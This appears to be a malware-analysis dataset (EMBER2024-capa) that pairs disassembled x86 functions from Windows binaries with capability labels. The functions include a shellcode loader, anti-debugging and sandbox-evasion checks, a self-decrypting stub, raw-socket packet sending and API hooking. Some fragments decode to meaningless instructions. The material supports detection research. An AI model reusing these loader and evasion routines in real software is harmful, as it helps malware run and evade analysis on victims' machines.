joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401755
Capabilities:
Terminate process

Disassembly:
or byte [ebx + 0x40611b41], cl
add byte [eax - 0x7d], dl
and ecx, esi
push 0x4840d274
pop esp
call dword [sym.imp.MSVCRT.dll_fprintf]
mov eax, dword [0xc44102ac]
add esp, 0xc
test eax, eax
push esp
invalid
Function at 0x404310
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x54]
push esp
mov esi, dword [eax - 0x50bf3f38]
jne 0x404325
xor eax, 0x6040c180
push eax
add ecx, 0x40
push 0x50f264
push ecx
call esi
rol dword [eax + 0x68], 0x64
push eax
add byte [ecx - 1], dl
salc
mov edx, dword [sym.imp.MSVCRT.dll__iob]
push 0xe040f254
add edx, 0x40
push edx
call esi
mov eax, dword [0x40c015]
push 0xfccc20
add eax, 0x40
push eax
call esi
mov ecx, dword [0x4027c8]
push 0x407aff
loopne 0x40431e
inc eax
push ecx
call esi
mov edx, dword [0x40eec8]
push 0xabf1ac
add edx, 0x40
push edx
call esi
mov eax, dword [0xb1c050]
push 0x6c
int1
inc eax
test dword [ebx - 0xafbf40], eax
salc
dec esi
mov ah, 0xc8
rol byte [eax], 0x68
and cl, dh
inc eax
add dword [ebx - 0x8f413f], 0xb0eda3d6
rol byte [eax], 0x68
call 0x8340848f
ret 0xa4bd
Function at 0x404710
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae fcn.00404710
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x404701
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.004044bc
pop edi
xchg edi, esi
outsd dx, dword [esi]
lea eax, [ebp - 0x58]
push eax
call fcn.004044cc
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.00404481
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x4047aa
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.004044bc
insd dword es:[edi], dx
aas
cmp al, dl
lea eax, [ebp - 0x40]
push eax
call fcn.004044cc
push eax
push esi
push dword [ebp + 8]
call fcn.00404481
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.004044bc
dec eax
push es
invalid
Function at 0x402d2f
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jae 0x402d51
xor al, al
jmp 0x402d53
mov al, 1
leave
ret

Function at 0x402d55
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 0x44], 0x40
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0
push 0x400
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call fcn.00407f50
push 0
push 0x400
push edx
push eax
call fcn.00407f50
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x2000
jae 0x402d9e
xor al, al
jmp 0x402da0
mov al, 1
leave
ret

Function at 0x402dc2
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 8], 0
and dword [ebp - 4], 0
and dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0x4e20
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
push 0x40a478
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
push dword [ebp - 0xc]
call dword [ebp - 0x14]
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
sub eax, 0x1f4
cmp dword [ebp - 0x10], eax
jbe 0x402e2a
xor eax, eax
jmp 0x402e2d
xor eax, eax
inc eax
leave
ret

Function at 0x402fa5
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x68]
and eax, 0x70
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402fcc
mov dword [ebp - 8], 1
jmp 0x402fd0
and dword [ebp - 8], 0
mov eax, dword [ebp - 8]
leave
ret

Function at 0x403146
Capabilities:
Check for trap flag exception

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b098
push 0x407fb8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
pushfd
or word [esp], 0x100
popfd
nop
or dword [ebp - 4], 0xffffffff
jmp 0x403197
xor eax, eax
inc eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40361b
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x40c500]
mov ecx, dword [eax*8 + 0x40c4e0]
mov eax, dword [eax*8 + 0x40c4e4]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
xor edx, edx
push 4
pop ecx
div ecx
mov eax, dword [ebp - 4]
sub eax, edx
mov dword [ebp - 8], eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.00403534
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.Beacon
call fcn.0040104e
pop ecx
leave
ret

Function at 0x403789
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x368
push esi
push edi
call fcn.00403206
cmp eax, 1
jne 0x4038c1
call fcn.00402eba
cmp eax, 1
jne 0x4038c1
mov ecx, 0xcc
mov esi, 0x40a638
lea edi, [ebp - 0x368]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0
lea ecx, [ebp - 0x34]
call fcn.004013da
mov byte [ebp - 0x18], 1
mov byte [ebp - 0x17], 2
mov byte [ebp - 0x16], 3
mov byte [ebp - 0x15], 9
mov byte [ebp - 0x14], 4
mov byte [ebp - 0x13], 5
mov byte [ebp - 0x12], 6
mov byte [ebp - 0x11], 7
mov byte [ebp - 0x10], 8
mov byte [ebp - 0xf], 9
mov byte [ebp - 0xe], 0xa
mov byte [ebp - 0xd], 0xb
mov byte [ebp - 0xc], 0xc
mov byte [ebp - 0xb], 0xd
mov byte [ebp - 0xa], 0xe
mov byte [ebp - 9], 0xf
mov byte [ebp - 0x28], 1
mov byte [ebp - 0x27], 2
mov byte [ebp - 0x26], 3
mov byte [ebp - 0x25], 9
mov byte [ebp - 0x24], 4
mov byte [ebp - 0x23], 5
mov byte [ebp - 0x22], 6
mov byte [ebp - 0x21], 7
mov byte [ebp - 0x20], 8
mov byte [ebp - 0x1f], 9
mov byte [ebp - 0x1e], 0xa
mov byte [ebp - 0x1d], 0xb
mov byte [ebp - 0x1c], 0xc
mov byte [ebp - 0x1b], 0xd
mov byte [ebp - 0x1a], 0xe
mov byte [ebp - 0x19], 0xf
mov dword [ebp - 4], 0x330
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x368]
push eax
lea ecx, [ebp - 0x34]
call fcn.00401507
mov dword [ebp - 0x2c], eax
call fcn.004036c9
push 0x40
push 0x1000
mov eax, dword [ebp - 4]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
push dword [ebp - 8]
push str.shellcode
call fcn.0040104e
pop ecx
pop ecx
push dword [ebp - 4]
push dword [ebp - 0x2c]
push dword [ebp - 8]
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00403714
pop ecx
pop ecx
call dword [ebp - 8]
xor eax, eax
jmp 0x4038c7
jmp 0x4038c5
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x403a70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.00403c40
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x403b4d
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x403aba
mov eax, dword [ebp - 4]
cmp eax, dword [0x40c004]
ja 0x403aba
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x403a8a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x403adf
jmp 0x403b4d
cmp dword [ebp - 0x14], 0x10000
jne 0x403b33
cmp dword [ebp - 0x18], 0x10000
jb 0x403b33
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x403b16
mov eax, dword [ebp - 8]
jmp 0x403b4f
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x403b26
xor eax, eax
jmp 0x403b4f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x403b48
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.00403c40
add esp, 4
mov dword [ebp - 4], eax
jmp 0x403a8a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x403b60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.00403c70
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x403c35
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x403ba5
mov eax, dword [ebp - 4]
cmp eax, dword [0x40c004]
ja 0x403ba5
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x403b75
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x403bca
jmp 0x403c35
cmp dword [ebp - 0x14], 0x10000
jne 0x403c1e
cmp dword [ebp - 0x18], 0x10000
jb 0x403c1e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x403c01
mov eax, dword [ebp - 8]
jmp 0x403c37
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x403c11
xor eax, eax
jmp 0x403c37
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x403c30
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.00403c70
add esp, 4
mov dword [ebp - 4], eax
jmp 0x403b75
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x403ca0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00404090
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x40c15c], 0
jne 0x403cdd
cmp dword [0x40c158], 0
je 0x403cdd
mov eax, dword [0x40c158]
mov dword [0x40c15c], eax
cmp dword [0x40c15c], 0
je 0x403d5a
mov ecx, dword [0x40c15c]
cmp dword [ecx + 8], 0
je 0x403d5a
mov edx, dword [0x40c15c]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x403d5a
mov ecx, dword [0x40c15c]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x403d5a
mov eax, dword [0x40c15c]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x403d29
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x403d30
xor eax, eax
jmp 0x403e79
mov ecx, dword [0x40c15c]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x403e79
mov edx, dword [0x40c158]
mov dword [0x40c15c], edx
jmp 0x403d76
mov eax, dword [0x40c15c]
mov ecx, dword [eax + 4]
mov dword [0x40c15c], ecx
cmp dword [0x40c15c], 0
je 0x403db6
cmp dword [0x40c15c], 0
je 0x403db4
mov edx, dword [0x40c15c]
cmp dword [edx + 8], 0
je 0x403db4
mov eax, dword [0x40c15c]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x403db4
mov edx, dword [0x40c15c]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x403db4
jmp 0x403d0e
jmp 0x403d68
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00403e80
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x403e77
mov eax, dword [ebp - 0x18]
mov dword [0x40c15c], eax
mov ecx, dword [0x40c15c]
mov dword [ecx], 0x52727464
mov edx, dword [0x40c15c]
mov dword [edx + 8], 0
mov eax, dword [0x40c15c]
mov ecx, dword [0x40c158]
mov dword [eax + 4], ecx
mov edx, dword [0x40c15c]
mov dword [0x40c158], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x40c15c]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x403e47
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x403e67
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x403e3e
mov eax, dword [0x40c15c]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x403d0e
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x404bc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x40c158]
mov dword [ebp - 4], eax
jmp 0x404bd9
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x404c00
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x404bfe
call sub.KERNEL32.dll_GetLastError
jmp 0x404c02
jmp 0x404bd0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x405230
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x40c168], eax
je 0x40524d
mov eax, 0x10dd
jmp 0x405330
mov eax, dword [0x40c178]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4052cc
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call sub.KERNEL32.dll_VirtualProtect
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x4052a8
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x4052a8
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.00404120
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
push 0x18
mov edx, dword [ebp - 0xc]
push edx
call fcn.0040720b
add esp, 8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x405255
mov dword [0x40c178], 0
call fcn.00404a00
mov ecx, dword [0x40c174]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x40531a
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call sub.KERNEL32.dll_ResumeThread
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push 8
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0040720b
add esp, 8
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x4052e4
mov dword [0x40c174], 0
mov dword [0x40c168], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x405810
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x40c16c], 0
je 0x405829
mov eax, dword [0x40c16c]
jmp 0x4058c8
call sub.KERNEL32.dll_GetCurrentThread
cmp dword [ebp + 8], eax
jne 0x40583a
xor eax, eax
jmp 0x4058c8
push 8
call fcn.004071db
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x405892
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x40587b
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
push 8
mov edx, dword [ebp - 0x10]
push edx
call fcn.0040720b
add esp, 8
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x40c16c], eax
mov dword [0x40c170], 0
mov eax, dword [ebp - 8]
jmp 0x4058c8
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x4058aa
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x40585a
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x40c174]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x40c174], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x4079a8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4079e7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4079e7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4079e7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4079e7
cmp dword [ecx + 0x74], 0xe
jbe 0x4079e7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x404ed0
Capabilities:
Create raw socket
Create udp socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x10
push ebx
push esi
mov esi, dword [esp + 0x1c]
push edi
push esi
mov word [esp + 0x10], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x404f2e
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x404f13
push esi
push str.cannot_resolve_host__s_n
call fcn.004069b3
add esp, 8
xor al, al
pop edi
pop esi
pop ebx
add esp, 0x10
ret
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0x10]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x11
push 3
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x404f5e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.WSASocket___failed:__d_n
call fcn.004069b3
add esp, 8
xor al, al
pop edi
pop esi
pop ebx
add esp, 0x10
ret
mov esi, dword [esp + 0x24]
mov eax, dword [esp + 0x10]
push 0x14
push esi
lea edi, [esi + 0x14]
mov dword [esi + 0x10], eax
mov word [esi + 0xa], 0
mov word [edi + 6], 0
call fcn.00404e70
push edi
push esi
mov word [esi + 0xa], ax
call fcn.00404de0
add esp, 0x10
lea ecx, [esp + 0x20]
mov word [edi + 6], ax
mov dword [esp + 0x20], 1
push 4
push ecx
push 2
push 0
push ebx
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x404fd5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.setsockopt_IP_HDRINCL__failed:__d_n
call fcn.004069b3
add esp, 8
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x28]
lea edx, [esp + 0xc]
push 0x10
push edx
push 0
push eax
push esi
push ebx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
jne 0x405006
push str.Problem_with_sendto___n
call fcn.004069b3
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
add esp, 0x10
ret
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
mov al, 1
pop ebx
add esp, 0x10
ret

Function at 0x4052e0
Capabilities:
Terminate process

Disassembly:
cmp dword [esp + 4], 0xffffffff
jne 0x40531a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [esp + 0xc]
push eax
push str._s_Error:_d_n
call fcn.004069b3
mov ecx, dword [0x43c98c]
add esp, 0xc
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call fcn.00406c8b
ret
Function at 0x40ce39
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x43af98
cmp edx, dword [eax]
je 0x40ce5b
add eax, 8
inc ecx
cmp eax, 0x43b028
jl 0x40ce4c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x43af98]
jne 0x40cf89
mov eax, dword [0x44e9ac]
cmp eax, 1
je 0x40cf63
test eax, eax
jne 0x40ce8c
cmp dword [0x438834], 1
je 0x40cf63
cmp edx, 0xfc
je 0x40cf89
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40cec3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0040a640
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0040a730
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40cf06
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040a730
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x430068
push edi
call fcn.00406b60
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0040a640
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0040a650
lea eax, [ebp - 0xa0]
push 0x430048
push eax
call fcn.0040a650
push dword [esi + 0x43af9c]
lea eax, [ebp - 0xa0]
push eax
call fcn.0040a650
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040eb97
add esp, 0x2c
pop edi
jmp 0x40cf89
lea eax, [ebp + 8]
lea esi, [esi + 0x43af9c]
push 0
push eax
push dword [esi]
call fcn.0040a730
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x420d70
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00406b30
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x420e3b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x420e3b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x420dee
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x420df9
or bh, 8
and edi, 0x8000000
je 0x420e14
mov eax, dword [0x4502dc]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x420e3b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42782f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x427871
call fcn.0042a63b
mov esi, dword [eax + 0xc]
push 0xf0
